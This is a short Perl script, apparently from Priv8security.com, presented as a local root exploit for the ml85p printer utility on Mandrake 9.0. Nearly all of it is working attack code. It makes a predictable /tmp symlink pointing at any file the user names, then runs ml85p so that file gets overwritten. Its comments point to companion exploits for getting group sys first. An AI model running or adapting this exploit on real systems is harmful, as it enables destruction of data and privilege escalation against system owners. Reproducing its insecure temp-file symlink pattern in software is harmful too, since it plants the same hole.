#!/usr/bin/perl ###################################################### #Priv8security.com ml85p local root exploit. # # This exploit erase any file on system, u ll need group sys to do it # so run priv8mtink.pl or priv8escputil.pl to get it ;) # Tested on Mandrake 9.0 only. # Based on http://www.idefense.com/advisory/01.21.03.txt # ##################################################### if (@ARGV == 1) { $file = $ARGV[0]; $b = "/tmp/ml85g"; $b .= time(); exec(umask 000); system("ln -s $file '$b'"); print "Lets write some files ok ;p\n"; print "Now just press enter....\n"; if (system("/usr/bin/ml85p -s") == -1){ print "You cant run ml85p, check if u have gid sys...\n"; } exit(1); } else { print "\n!!! Priv8security.com ml85p local root exploit by wsxz !!!\n"; print " Usage: perl $0 file-to-overwrite\n\n"; }